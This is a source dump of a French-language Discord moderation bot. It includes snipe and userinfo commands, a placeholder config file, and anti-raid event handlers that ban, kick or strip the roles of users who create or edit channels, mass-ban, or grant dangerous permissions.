'snipe', 30 | aliases: [], 31 | run: async (client, message, args, prefix, color) => { 32 | 33 | let perm = "" 34 | message.member.roles.cache.forEach(role => { 35 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 36 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 37 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 38 | }) 39 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm || db.get(`channelpublic_${message.guild.id}_${message.channel.id}`) === true ) { 40 | 41 | const msg = client.snipes.get(message.channel.id) 42 | if(!msg) return message.channel.send("Aucun message enregistré.") 43 | let ttt = msg.content 44 | 45 | if(msg.content.includes("discord.gg/")) ttt = msg.content.replace(msg.content.split("gg/")[1], slm(msg.content.split("gg/")[1].length ||0)) 46 | 47 | // ●●●●●●●● 48 | const embed = new Discord.MessageEmbed() 49 | .setAuthor(msg.author.username , msg.author.displayAvatarURL({dynamic : true })) 50 | .setDescription(ttt) 51 | .setColor(color) 52 | if(msg.image)embed.setImage(msg.image) 53 | 54 | message.channel.send(embed) 55 | 56 | } 57 | } 58 | 59 | 60 | } -------------------------------------------------------------------------------- /commands/utilitaire/userinfo.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const axios = require('axios') 5 | 6 | module.exports = { 7 | name: 'userinfo', 8 | aliases: ['user', 'ui'], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | let perm = "" 12 | message.member.roles.cache.forEach(role => { 13 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 14 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 15 | }) 16 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 17 | 18 | let user = message.mentions.members.first() 19 | if(user) user = user.id 20 | if(!user) user = args[0] 21 | if(!user) user = message.author.id 22 | if(!message.guild.members.cache.has(user)) return message.channel.send(`Aucun membre trouvé pour \`${args[0]}\``); 23 | else user = message.guild.members.cache.get(user) 24 | 25 | let nm = "" 26 | client.guilds.cache.map(r =>{ 27 | const list = client.guilds.cache.get(r.id); 28 | list.members.cache.map(m => (m.user.id ==user.id? nm++ : nm = nm)) 29 | // list.members.cache.map(m => (m.user.id ==member.id? listes= listes+" | `" +list.name+"`" : listes = listes)) 30 | }) 31 | //console.log(guilds) 32 | 33 | 34 | const data = await axios.get(`https://discord.com/api/users/${user.id}`, { 35 | headers: { 36 | Authorization: `Bot ${client.config.token}` 37 | } 38 | }).then(d => d.data); 39 | if (data.banner) { 40 | let url = data.banner.startsWith("a_") ? ".gif?size=2048" : ".png?size=2048"; 41 | url = `https://cdn.discordapp.com/banners/${user.id}/${data.banner}${url}`; 42 | 43 | const UserInfo = new Discord.MessageEmbed() 44 | 45 | .setTitle(user.user.tag) 46 | .setDescription(`<@${user.user.id}>\nPrésent sur ce serveur depuis le \nCompte créé le \nServeur en commun: ${nm}`) 47 | .setThumbnail(user.user.displayAvatarURL({ dynamic: true })) 48 | .setImage(url) 49 | .setColor(color) 50 | 51 | message.channel.send(UserInfo) 52 | } else { 53 | 54 | const UserInfo = new Discord.MessageEmbed() 55 | 56 | .setTitle(user.user.tag) 57 | .setDescription(`<@${user.user.id}>\nPrésent sur ce serveur depuis le \nCompte créé le \nServeur en commun: ${nm}`) 58 | .setThumbnail(user.user.displayAvatarURL({ dynamic: true })) 59 | .setColor(color) 60 | .setImage("https://cdn.discordapp.com/attachments/914596914161397762/922439441589616660/image.png") 61 | //if (user.user = user.user.bot) UserInfo.setDescription(`<@${user.user.id}>\nPrésent sur ce serveur depuis le \nCompte créé le \nServeur en commun: ${nm}\n[Lien d'invation](https://discord.com/api/oauth2/authorize?client_id=${user.user.id}&permissions=8&scope=bot)`) 62 | message.channel.send(UserInfo) 63 | 64 | } 65 | 66 | 67 | 68 | } 69 | } 70 | } -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": "token", 3 | "color": "embecolor", 4 | "prefix": "&", 5 | "name": "Footer Name", 6 | "defaultjoinmessage": "{user} vient de rejoindre. Il a été invité par **{inviter:name}** qui a désormais **{invite} invitations** !", 7 | "defaultleavemessage": "{user} vient de quitter. Il avais été invité par **{inviter:name}** qui a désormais **{invite} invitations** ", 8 | "defaultLevelmessage": "**{user}** vient de passer au level **{level}** bravo à lui !", 9 | "owner": [ 10 | "tonid", 11 | "id" 12 | ] 13 | } -------------------------------------------------------------------------------- /events/antiraid/channelCreate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, channel) => { 7 | const guild = channel.guild 8 | if(!guild) return; 9 | 10 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 11 | 12 | try { // -- Audit Logs 13 | axios.get(`https://discord.com/api/v9/guilds/${guild.id}/audit-logs?ilimit=1&action_type=10`, { 14 | headers: { 15 | Authorization: `Bot ${client.config.token}` 16 | } 17 | }).then(response => { 18 | if (response.data && response.data.audit_log_entries[0].user_id) { 19 | let perm = "" 20 | if (db.get(`channelscreatewl_${guild.id}`) === null) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true || db.get(`wlmd_${guild.id}_${response.data.audit_log_entries[0].user_id}`) === true 21 | if (db.get(`channelscreatewl_${guild.id}`) === true) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true 22 | if (db.get(`channelscreate_${guild.id}`) === true && !perm) { 23 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 24 | if (db.get(`channelscreatesanction_${guild.id}`) === "ban") { 25 | axios({ 26 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${response.data.audit_log_entries[0].user_id}`, 27 | method: 'PUT', 28 | headers: { 29 | Authorization: `Bot ${client.config.token}` 30 | }, 31 | data: { 32 | delete_message_days: '1', 33 | reason: 'Antichannel' 34 | } 35 | }).then(() => { 36 | axios({ 37 | url: `https://discord.com/api/v9/channels/${channel.id}`, 38 | method: `DELETE`, 39 | headers: { 40 | Authorization: `Bot ${client.config.token}` 41 | } 42 | }) 43 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, il a été **ban** !`)) 44 | } 45 | ).catch(() => { 46 | axios({ 47 | url: `https://discord.com/api/v9/channels/${channel.id}`, 48 | method: `DELETE`, 49 | headers: { 50 | Authorization: `Bot ${client.config.token}` 51 | } 52 | }) 53 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, mais il n'a pas pu être **ban** !`)) 54 | 55 | } 56 | ) 57 | } else if (db.get(`channelscreatesanction_${guild.id}`) === "kick") { 58 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).kick().then(() => { 59 | 60 | axios({ 61 | url: `https://discord.com/api/v9/channels/${channel.id}`, 62 | method: `DELETE`, 63 | headers: { 64 | Authorization: `Bot ${client.config.token}` 65 | } 66 | }) 67 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, il a été **kick** !`)) 68 | }).catch(() => { 69 | axios({ 70 | url: `https://discord.com/api/v9/channels/${channel.id}`, 71 | method: `DELETE`, 72 | headers: { 73 | Authorization: `Bot ${client.config.token}` 74 | } 75 | }) 76 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, mais il n'a pas pu être **kick** !`)) 77 | }) 78 | } else if (db.get(`channelscreatesanction_${guild.id}`) === "derank") { 79 | 80 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).roles.set([]).then(() => { 81 | 82 | axios({ 83 | url: `https://discord.com/api/v9/channels/${channel.id}`, 84 | method: `DELETE`, 85 | headers: { 86 | Authorization: `Bot ${client.config.token}` 87 | } 88 | }) 89 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, il a été **derank** !`)) 90 | }).catch(() => { 91 | axios({ 92 | url: `https://discord.com/api/v9/channels/${channel.id}`, 93 | method: `DELETE`, 94 | headers: { 95 | Authorization: `Bot ${client.config.token}` 96 | } 97 | }) 98 | if(raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a crée le salon \`${channel.name}\`, mais il n'a pas pu être **derank** !`)) 99 | }) 100 | } 101 | 102 | 103 | 104 | } 105 | 106 | 107 | } 108 | 109 | 110 | }); 111 | 112 | } catch (error) { 113 | return 114 | } 115 | 116 | 117 | 118 | }; 119 | -------------------------------------------------------------------------------- /events/antiraid/channelUpdate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, oldChannel, newChannel) => { 7 | const guild = oldChannel.guild 8 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 9 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 10 | 11 | axios.get(`https://discord.com/api/v9/guilds/${oldChannel.guild.id}/audit-logs?ilimit=1&action_type=11`, { 12 | headers: { 13 | Authorization: `Bot ${client.config.token}` 14 | } 15 | }).then(response => { 16 | if (response.data && response.data.audit_log_entries[0].user_id) { 17 | let perm = "" 18 | if (db.get(`channelsmodwl_${guild.id}`) === null) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true || db.get(`wlmd_${guild.id}_${response.data.audit_log_entries[0].user_id}`) === true 19 | if (db.get(`channelsmodwl_${guild.id}`) === true) perm = client.user.id === response.data.audit_log_entries[0].user_id || guild.owner.id === response.data.audit_log_entries[0].user_id || client.config.owner.includes(response.data.audit_log_entries[0].user_id) || db.get(`ownermd_${client.user.id}_${response.data.audit_log_entries[0].user_id}`) === true 20 | if (db.get(`channelsmod_${guild.id}`) === true && !perm) { 21 | if (db.get(`channelsmodsanction_${guild.id}`) === "ban") { 22 | axios({ 23 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${response.data.audit_log_entries[0].user_id}`, 24 | method: 'PUT', 25 | headers: { 26 | Authorization: `bot ${client.config.token}` 27 | }, 28 | data: { 29 | delete_message_days: '1', 30 | reason: 'Antichannel' 31 | } 32 | }).then(() => { 33 | 34 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, il a été **ban** !`)) 35 | } 36 | ).catch(() => { 37 | 38 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, mais il n'a pas pu être **ban** !`)) 39 | 40 | } 41 | ) 42 | } else if (db.get(`channelsmodsanction_${guild.id}`) === "kick") { 43 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).kick().then(() => { 44 | 45 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, il a été **kick** !`)) 46 | }).catch(() => { 47 | 48 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, mais il n'a pas pu être **kick** !`)) 49 | }) 50 | } else if (db.get(`channelsmodsanction_${guild.id}`) === "derank") { 51 | 52 | guild.members.cache.get(response.data.audit_log_entries[0].user_id).roles.set([]).then(() => { 53 | 54 | 55 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, il a été **derank** !`)) 56 | }).catch(() => { 57 | 58 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${response.data.audit_log_entries[0].user_id}> a modifier le salon ${oldChannel}, mais il n'a pas pu être **derank** !`)) 59 | }) 60 | } 61 | 62 | newChannel.edit({ 63 | name: oldChannel.name, 64 | permissions: oldChannel.permissionsOverwrites, 65 | type: oldChannel.type, 66 | topic: oldChannel.withTopic, 67 | nsfw: oldChannel.nsfw, 68 | birate: oldChannel.bitrate, 69 | userLimit: oldChannel.userLimit, 70 | rateLimitPerUser: oldChannel.rateLimitPerUser, 71 | position: oldChannel.rawPosition, 72 | reason: `Antichannel` 73 | }) 74 | newChannel.overwritePermissions(oldChannel.permissionOverwrites) 75 | } 76 | 77 | } 78 | 79 | }); 80 | 81 | 82 | 83 | } 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /events/antiraid/guildBanAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member) => { 7 | 8 | let ban = 0 9 | let banLimit = db.get(`massbannum_${member.guild.id}`) || 2 10 | setInterval(() => { 11 | ban = 0 12 | }, ms(db.get(`massbantime_${member.guild.id}`) || "10s")); 13 | const guild = member.guild 14 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 15 | 16 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 17 | 18 | 19 | const action = await guild.fetchAuditLogs({ limit: 1, type: "MEMBER_BAN_ADD" }).then(async (audit) => audit.entries.first()) 20 | 21 | if ( action.executor.id) { 22 | 23 | let perm = "" 24 | if (db.get(`massbanwl_${guild.id}`) === null) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true || db.get(`wlmd_${guild.id}_${action.executor.id}`) === true 25 | if (db.get(`massbanwl_${guild.id}`) === true) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true 26 | if (db.get(`massban_${guild.id}`) === true && !perm) { 27 | if (ban <= banLimit) { 28 | ban++ 29 | } else { 30 | ban++ 31 | if (db.get(`massbansanction_${guild.id}`) === "ban") { 32 | axios({ 33 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${action.executor.id}`, 34 | method: 'PUT', 35 | headers: { 36 | Authorization: `bot ${client.config.token}` 37 | }, 38 | data: { 39 | delete_message_days: '1', 40 | reason: 'Antiban' 41 | } 42 | }).then(() => { 43 | 44 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, il a été **ban** !`)) 45 | } 46 | ).catch(() => { 47 | 48 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, mais il n'a pas pu être **ban** !`)) 49 | 50 | } 51 | ) 52 | } else if (db.get(`massbansanction_${guild.id}`) === "kick") { 53 | guild.members.cache.get(action.executor.id).kick().then(() => { 54 | 55 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, il a été **kick** !`)) 56 | }).catch(() => { 57 | 58 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, mais il n'a pas pu être **kick** !`)) 59 | }) 60 | } else if (db.get(`massbansanction_${guild.id}`) === "derank") { 61 | 62 | guild.members.cache.get(action.executor.id).roles.set([]).then(() => { 63 | 64 | 65 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, il a été **derank** !`)) 66 | }).catch(() => { 67 | 68 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ban ${member}, mais il n'a pas pu être **derank** !`)) 69 | }) 70 | } 71 | } 72 | 73 | } 74 | 75 | } 76 | }; 77 | -------------------------------------------------------------------------------- /events/antiraid/guildMemberAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | const Discord = require("discord.js") 6 | 7 | module.exports = async (client, member) => { 8 | const guild = member.guild 9 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 10 | const color = db.get(`color_${guild.id}`) === null ? client.config.color : db.get(`color_${guild.id}`) 11 | 12 | if (db.get(`antitoken_${member.guild.id}`) === true) { 13 | // let maxMembers = db.get(`antitokenlimmit1_${member.guild.id}`) || 10 //Nombres de membres max 14 | // let maxTime = ms(db.get(`antitokenlimmit2_${member.guild.id}`) || "10s"); //temps en millisecondes 1000ms = 1s 15 | // let last10Members = guild.members.cache.filter(member => member.joinedAt <= (Date.now() - maxTime)) //Prendre les 10 derniers membres qui sont arrivés y'a 10 secondes 16 | // if (last10Members.size > maxMembers) return; 17 | // const a = [] 18 | // last10Members.forEach(user => { 19 | // user.ban({ reason: "Antimassjoin" }).then(() => { 20 | // a.push(user.id) 21 | // }) 22 | // }) 23 | // if(!a) return undefined 24 | // const embed = new Discord.MessageEmbed() 25 | // .setColor(color) 26 | // .setDescription(`${a.map(u => `<@${u}>`).join(", ")} on été **ban** pour avoir \`rejoint le serveur en même temps\``) 27 | // if (raidlog) raidlog.send(embed) 28 | 29 | 30 | 31 | 32 | } 33 | 34 | if (db.get(`crealimit_${member.guild.id}`) === true) { 35 | const duration = ms(db.get(`crealimittemps_${member.guild.id}`) || "0s"); 36 | let created = member.user.createdTimestamp; 37 | let sum = created + duration; 38 | let diff = Date.now() - sum; 39 | 40 | if (diff < 0) { 41 | 42 | member.kick() 43 | } 44 | const embed = new Discord.MessageEmbed() 45 | .setColor(color) 46 | .setDescription(`${member} à été **kick** parce que \`sont compte à été crée trop résamment\``) 47 | if (raidlog) raidlog.send(embed) 48 | } 49 | 50 | if (db.get(`blmd_${client.user.id}_${member.id}`) === true) { 51 | member.ban().then(() => { 52 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`${member} a rejoins alors qu'il êtait blacklist, il a été **ban**`)) 53 | 54 | }).catch(() => { 55 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`${member} a rejoins alors qu'il êtait blacklist, mais il n'a pas pu être **ban**`)) 56 | 57 | }) 58 | } 59 | 60 | if (member.user.bot) { 61 | const action = await guild.fetchAuditLogs({ limit: 1, type: "BOT_ADD" }).then(async (audit) => audit.entries.first()) 62 | if ( action.executor.id) { 63 | let perm = "" 64 | if (db.get(`botwl_${guild.id}`) === null) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true || db.get(`wlmd_${guild.id}_${action.executor.id}`) === true 65 | if (db.get(`botwl_${guild.id}`) === true) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true 66 | if (db.get(`bot_${guild.id}`) === true && !perm) { 67 | if (db.get(`botsanction_${guild.id}`) === "ban") { 68 | axios({ 69 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${action.executor.id}`, 70 | method: 'PUT', 71 | headers: { 72 | Authorization: `bot ${client.config.token}` 73 | }, 74 | data: { 75 | delete_message_days: '1', 76 | reason: 'Antiban' 77 | } 78 | }).then(() => { 79 | 80 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, il a été **ban** !`)) 81 | } 82 | ).catch(() => { 83 | 84 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, mais il n'a pas pu être **ban** !`)) 85 | 86 | } 87 | ) 88 | } else if (db.get(`botsanction_${guild.id}`) === "kick") { 89 | guild.users.cache.get(action.executor.id).kick().then(() => { 90 | 91 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, il a été **kick** !`)) 92 | }).catch(() => { 93 | 94 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, mais il n'a pas pu être **kick** !`)) 95 | }) 96 | } else if (db.get(`botsanction_${guild.id}`) === "derank") { 97 | 98 | guild.users.cache.get(action.executor.id).roles.set([]).then(() => { 99 | 100 | 101 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, il a été **derank** !`)) 102 | }).catch(() => { 103 | 104 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a inviter le bot ${member}, mais il n'a pas pu être **derank** !`)) 105 | }) 106 | } 107 | 108 | } 109 | } 110 | 111 | } 112 | 113 | 114 | 115 | } 116 | -------------------------------------------------------------------------------- /events/antiraid/guildMemberRemove.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member) => { 7 | 8 | let kick = 0 9 | let kickLimit = db.get(`massbannum_${member.guild.id}`) || 2 10 | setInterval(() => { 11 | kick = 0 12 | }, ms(db.get(`massbantime_${member.guild.id}`) || "10s")); 13 | const guild = member.guild 14 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 15 | 16 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 17 | 18 | 19 | const action = await guild.fetchAuditLogs({ limit: 1, type: "MEMBER_KICK" }).then(async (audit) => audit.entries.first()) 20 | 21 | if ( action.executor.id) { 22 | 23 | let perm = "" 24 | if (db.get(`massbanwl_${guild.id}`) === null) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true || db.get(`wlmd_${guild.id}_${action.executor.id}`) === true 25 | if (db.get(`massbanwl_${guild.id}`) === true) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true 26 | if (db.get(`massban_${guild.id}`) === true && !perm) { 27 | if (kick <= kickLimit) { 28 | kick++ 29 | } else { 30 | kick++ 31 | if (db.get(`massbansanction_${guild.id}`) === "ban") { 32 | axios({ 33 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${action.executor.id}`, 34 | method: 'PUT', 35 | headers: { 36 | Authorization: `bot ${client.config.token}` 37 | }, 38 | data: { 39 | delete_message_days: '1', 40 | reason: 'Antiban' 41 | } 42 | }).then(() => { 43 | 44 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, il a été **ban** !`)) 45 | } 46 | ).catch(() => { 47 | 48 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, mais il n'a pas pu être **ban** !`)) 49 | 50 | } 51 | ) 52 | } else if (db.get(`massbansanction_${guild.id}`) === "kick") { 53 | guild.members.cache.get(action.executor.id).kick().then(() => { 54 | 55 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, il a été **kick** !`)) 56 | }).catch(() => { 57 | 58 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, mais il n'a pas pu être **kick** !`)) 59 | }) 60 | } else if (db.get(`massbansanction_${guild.id}`) === "derank") { 61 | 62 | guild.members.cache.get(action.executor.id).roles.set([]).then(() => { 63 | 64 | 65 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, il a été **derank** !`)) 66 | }).catch(() => { 67 | 68 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a kick ${member}, mais il n'a pas pu être **derank** !`)) 69 | }) 70 | } 71 | } 72 | 73 | } 74 | 75 | } 76 | }; 77 | -------------------------------------------------------------------------------- /events/antiraid/guildMemberRoleAdd.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = async (client, member, role) => { 7 | const guild = member.guild 8 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 9 | const raidlog = guild.channels.cache.get(db.get(`${guild.id}.raidlog`)) 10 | 11 | if(db.get(`blrankmd_${client.user.id}_${member.id}`) !== null) { 12 | 13 | member.roles.remove(role.id).then(() => { 14 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter un rôle à ${member} alors qu'il est dans la blacklistRank, je lui est enlever !`)) 15 | 16 | }).catch(() => { 17 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter un rôle à ${member} alors qu'il est dans la blacklistRank, mais j'ai pas pu lui enlever !`)) 18 | 19 | }) 20 | } 21 | 22 | const action = await guild.fetchAuditLogs({ limit: 1, type: "MEMBER_ROLE_UPDATE" }).then(async (audit) => audit.entries.first()) 23 | let perm = "" 24 | if (db.get(`rolesaddwl_${guild.id}`) === null) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true || db.get(`wlmd_${guild.id}_${action.executor.id}`) === true 25 | if (db.get(`rolesaddwl_${guild.id}`) === true) perm = client.user.id === action.executor.id || guild.owner.id === action.executor.id || client.config.owner.includes(action.executor.id) || db.get(`ownermd_${client.user.id}_${action.executor.id}`) === true 26 | if (db.get(`rolesadd_${guild.id}`) === true && !perm) { 27 | 28 | if(role.permissions.has("KICK_MEMBERS") || role.permissions.has("BAN_MEMBERS") || role.permissions.has("ADMINISTRATOR") || role.permissions.has("MANAGE_CHANNELS") || role.permissions.has("MANAGE_GUILD") || role.permissions.has("MENTION_EVERYONE") || role.permissions.has("MANAGE_ROLES")) { 29 | 30 | if (db.get(`rolesaddsanction_${guild.id}`) === "ban") { 31 | axios({ 32 | url: `https://discord.com/api/v9/guilds/${guild.id}/bans/${action.executor.id}`, 33 | method: 'PUT', 34 | headers: { 35 | Authorization: `bot ${client.config.token}` 36 | }, 37 | data: { 38 | delete_message_days: '1', 39 | reason: 'Antirole' 40 | } 41 | }).then(() => { 42 | member.roles.remove(role.id) 43 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, il a été **ban** !`)) 44 | } 45 | ).catch(() => { 46 | member.roles.remove(role.id) 47 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, mais il n'a pas pu être **ban** !`)) 48 | 49 | } 50 | ) 51 | } else if (db.get(`rolesaddsanction_${guild.id}`) === "kick") { 52 | guild.members.cache.get(action.executor.id).kick().then(() => { 53 | member.roles.remove(role.id) 54 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, il a été **kick** !`)) 55 | }).catch(() => { 56 | member.roles.remove(role.id) 57 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, mais il n'a pas pu être **kick** !`)) 58 | }) 59 | } else if (db.get(`rolesaddsanction_${guild.id}`) === "derank") { 60 | 61 | guild.members.cache.get(action.executor.id).roles.set([]).then(() => { 62 | 63 | member.roles.remove(role.id) 64 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, il a été **derank** !`)) 65 | }).catch(() => { 66 | member.roles.remove(role.id) 67 | if (raidlog) return raidlog.send(new MessageEmbed().setColor(color).setDescription(`<@${action.executor.id}> a ajouter des permissions à \`${member.user.tag}\`, mais il n'a pas pu être **derank** !`)) 68 | }) 69 | } 70 | } 71 | 72 | 73 | } 74 | 75 | 76 | 77 | }; 78 | -------------------------------------------------------------------------------- /events/antiraid/roleCreate.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const db = require("quick.db") 3 | const { MessageEmbed } = require("discord.js"); 4 | const ms = require("ms") 5 | 6 | module.exports = (client, role) => { 7 | const guild = role.guild 8 | const color = db.get(`color_${guild.id}`) === null? client.config.color:db.get(`color_${guild.id}`) 9 | 10 | 11 | 